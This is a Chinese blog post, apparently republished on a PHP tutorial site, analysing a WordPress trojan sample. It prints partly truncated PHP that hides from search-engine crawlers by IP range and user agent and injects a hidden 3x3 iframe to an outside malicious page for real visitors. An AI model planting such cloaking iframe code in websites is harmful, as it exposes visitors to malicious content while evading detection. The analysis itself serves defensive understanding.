Home >php教程 >php手册 >一个 Wordpress 木马样本分析

一个 Wordpress 木马样本分析

WBOY
WBOYOriginal
2016-06-06 20:14:111102browse

在饭否看到zuola说得到一个wordpress木马脚本,于是就点了连接,并简单的看了看这个样本。原理比较简单,先判断访问来源是否是搜索引擎的蜘蛛或bot,再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段PHP脚本也完全可以用

在饭否看到zuola说得到一个wordpress木马脚本,于是就点了连接,并简单的看了看这个样本。原理比较简单,先判断访问来源是否是搜索引擎的蜘蛛或bot,再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段PHP脚本也完全可以用到其它任何PHP程序中。

将源代码做了个简单的整理如下:

<p class="line">1</p><p class="line">2</p><p class="line">3</p><p class="line">4</p><p class="line">5</p><p class="line">6</p><p class="line">7</p><p class="line">8</p><p class="line">9</p><p class="line">10</p><p class="line">11</p><p class="line">12</p><p class="line">13</p><p class="line">14</p><p class="line">15</p><p class="line">16</p><p class="line">17</p><p class="line">18</p><p class="line">19</p><p class="line">20</p><p class="line">21</p><p class="line">22</p><p class="line">23</p><p class="line">24</p><p class="line">25</p><p class="line">26</p><p class="line">27</p><p class="line">28</p><p class="line">29</p><p class="line">30</p><p class="line">31</p><p class="line">32</p><p class="line">33</p>
<p class="line">error_reporting(0);</p><p class="line">$bot = FALSE ;</p><p class="line">$user_agent_to_filter = array('bot','spider','spyder'... ...'mybloglog api');</p><p class="line">$stop_ips_masks = array(</p><p class="line">array("216.239.32.0","216.239.63.255"),</p><p class="line">array("64.68.80.0"  ,"64.68.87.255"  ),</p><p class="line">... ... ...</p><p class="line">... ... ...</p><p class="line">array("72.30.0.0","72.30.255.255"),</p><p class="line">array("38.0.0.0","38.255.255.255")</p><p class="line">);</p><p class="line">$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));</p><p class="line">foreach ( $stop_ips_masks as $IPs ) {</p><p class="line">    $first_d=sprintf("%u",ip2long($IPs[0]));</p><p class="line">    $second_d=sprintf("%u",ip2long($IPs[1]));</p><p class="line">    if ($my_ip2long >= $first_d && $my_ip2long </p><p class="line">        $bot = TRUE;</p><p class="line">        break;</p><p class="line">    }</p><p class="line">}</p><p class="line">foreach ($user_agent_to_filter as $bot_sign){</p><p class="line">    if(strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){</p><p class="line">        $bot = true;</p><p class="line">        break;</p><p class="line">    }</p><p class="line">}</p><p class="line">if (!$bot) {</p><p class="line">    echo '<iframe src="http://chensd.com/2011-09/" http: width="3" height="3"></iframe>&gt"'</p><p class="line">}</p>

1、环境配置与变量声明

error_reporting(0)是为了保证在任何情况下都不报错。

$bot是声音了一个flag,默认值为false,从后面的情况来看,这个是用来表明当前访问者是否是真正的浏览用户。

$user_agent_to_filter和$stop_ips_masks,前者是一维数据,存储了一大堆需要排除的浏览器user_agent,后者是个二维数据,存储了若干个ip段,这些ip段经查询,大都是搜索引擎的。

2、访问者ip的判断

接下来,是通过ip地址和浏览器user agent来进行用户是否是普通浏览器的判断。

<p class="line">1</p><p class="line">2</p><p class="line">3</p><p class="line">4</p><p class="line">5</p><p class="line">6</p><p class="line">7</p><p class="line">8</p><p class="line">9</p><p class="line">10</p>
<p class="line">$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));</p><p class="line">foreach ( $stop_ips_masks as $IPs ) {</p><p class="line">    $first_d=sprintf("%u",ip2long($IPs[0]));</p><p class="line">    $second_d=sprintf("%u",ip2long($IPs[1]));</p><p class="line">    if ($my_ip2long >= $first_d && $my_ip2long </p><p class="line">        $bot = TRUE;</p><p class="line">        break;</p><p class="line">    }</p><p class="line">}</p>

ip2long这个函数可以将ip地址转换成一个整数,sprintf(‘%u’, xxx)将这个int转换成无符号数。

foreach在$stop_ips_masks中进行循环,取二维数据中的每一个数组,$frist_d和$second_d分别存储ip段起点ip和止点ip的无符号整数值,再用接下来的if进行判断,当前访问者ip是否在$stop_ips_masks所指定的范围内,若是,则将$bot量置为true。

3、访问者user agent的判断

<p class="line">1</p><p class="line">2</p><p class="line">3</p><p class="line">4</p><p class="line">5</p><p class="line">6</p>
<p class="line">foreach ($user_agent_to_filter as $bot_sign){</p><p class="line">    if(strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){</p><p class="line">        $bot = true;</p><p class="line">        break;</p><p class="line">    }</p><p class="line">}</p>

这一部分的判断与ip判断类似,从$user_agent_to_filter中读取每一个值,再与浏览者的user agent进行对比,如果发现是机器人或者蜘蛛,则将$bot置为true。

4、放置iframe

if(!$bot)控制当访问者是普通浏览器时,即放置这个iframe,iframe的scr是无耻者放置乱七八糟内容的网页——chrome已经将它block了。

5、结论

这个脚本可以用在任何php写成的网站中。而且,这段代码其实可以隐藏得更好,而不是这样连裤衩都不穿的裸奔。

在饭否看到zuola说得到一个wordpress木马脚本,于是就点了连接,并简单的看了看这个样本。原理比较简单,先判断访问来源是否是搜索引擎的蜘蛛或bot,再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段PHP脚本也完全可以用到其它任何PHP程序中。

将源代码做了个简单的整理如下:

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn